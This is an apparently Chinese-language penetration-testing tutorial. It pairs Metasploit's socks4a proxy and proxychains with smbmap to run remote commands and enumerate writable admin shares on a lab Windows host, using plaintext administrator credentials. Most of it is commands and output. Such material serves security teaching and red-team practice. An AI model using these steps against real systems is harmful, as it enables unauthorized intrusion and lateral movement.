

专注APT攻击与防御

<https://micropoor.blogspot.com/>

Msf在配合其它框架攻击，可补充msf本身的不足以及强化攻击方式，优化攻击线路。本季将会把msf与Smbmap结合攻击。弥补msf文件搜索以及文件内容搜索的不足。

项目地址：<https://github.com/ShawnDEvans/smbmap>

- 支持传递哈希
- 文件上传/下载/删除
- 可枚举（可写共享，配合Metasploit）
- 远程命令执行
- 支持文件内容搜索
- 支持文件名匹配（可以自动下载）
  
- msf配合Smbmap攻击需要使用到socks4a模块

```
1 msf auxiliary(server/socks4a) > show options
```

```
msf auxiliary(server/socks4a) > show options
Module options (auxiliary/server/socks4a):

  Name      Current Setting  Required  Description
  ----      -
  SRVHOST   0.0.0.0          yes       The address to listen on
  SRVPORT   1080             yes       The port to listen on.

Auxiliary action:

  Name      Description
  ----      -
  Proxy
```

- 该模块socks4a加入job

```
1 msf auxiliary(server/socks4a) > jobs
```

```
[*] Backgrounding session 1...
msf auxiliary(server/socks4a) > jobs

Jobs
====

  Id  Name                Payload  Payload opts
  --  -
  0   Auxiliary: server/socks4a

msf auxiliary(server/socks4a) > █
```

配置proxychains，做结合攻击铺垫。

```
1 root@John:/tmp# cat /etc/proxychains.conf
```

```
root@John:/tmp# cat /etc/proxychains.conf
# proxychains.conf  VER 3.1
#
#       HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#
# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
#dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
strict_chain
#
```

```
#
#       proxy types: http, socks4, socks5
#       ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
#msf
socks4 192.168.1.5 8080
#reGeorg
#socks5 127.0.0.1 8080
█
```

- 支持远程命令

```
1 root@John:/tmp# proxychains smbmap -u administrator -p 123456 -d wordk
group -H 192.168.1.115 -x 'net user'
```

```
root@John:/tmp# proxychains smbmap -u administrator -p 123456 -d wordkgroup -H 192.168.1.115 -x 'net user'
ProxyChains-3.1 (http://proxychains.sf.net)
[+] Finding open SMB ports...
[+] User SMB session established on 192.168.1.115...

\\ 的用户帐户
-----
Administrator          ASPNET                  Guest
IUSR_VM_2003X86         IWAM_VM_2003X86        SUPPORT_388945a0
命令运行完毕，但发生一个或多个错误。

root@John:/tmp#
```

```
1 root@John:/tmp# proxychains smbmap -u administrator -p 123456 -d wordkgroup -H 192.168.1.115 -x 'whoami'
```

```
root@John:/tmp# proxychains smbmap -u administrator -p 123456 -d wordkgroup -H 192.168.1.115 -x 'whoami'
ProxyChains-3.1 (http://proxychains.sf.net)
[+] Finding open SMB ports...
[+] User SMB session established on 192.168.1.115...
nt authority\system
```

- 枚举目标机共享

```
1 root@John:/tmp# proxychains smbmap -u administrator -p 123456 -d wordkgroup -H 192.168.1.115 -d ABC
```

```
root@John:/tmp# proxychains smbmap -u administrator -p 123456 -d wordkgroup -H 192.168.1.115 -d ABC
ProxyChains-3.1 (http://proxychains.sf.net)
[+] Finding open SMB ports...
[+] User SMB session established on 192.168.1.115...
[+] IP: 192.168.1.115:445      Name: 192.168.1.115
Disk                          Permissions
----                          -
C$                             READ, WRITE
IPC$                           NO ACCESS
ADMIN$                         READ, WRITE
E$                             READ, WRITE

root@John:/tmp#
```

```
1 root@John:/tmp# proxychains smbmap -u administrator -p 123456 -d wordkgroup -H 192.168.1.115 -x 'ipconfig'
```

```
root@John:/tmp# proxychains smbmap -u administrator -p 123456 -d wordkgroup -H 192.168.1.115 -x 'ipconfig'
ProxyChains-3.1 (http://proxychains.sf.net)
[+] Finding open SMB ports...
[+] User SMB session established on 192.168.1.115...

Windows IP Configuration

Ethernet adapter 本地连接:

Connection-specific DNS Suffix  . : 
IP Address. . . . . : 192.168.1.115
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 192.168.1.1
```

Smbmap支持IP段的共享枚举，当然Smbmap还有更多强大的功能等待探索。

- Micropoor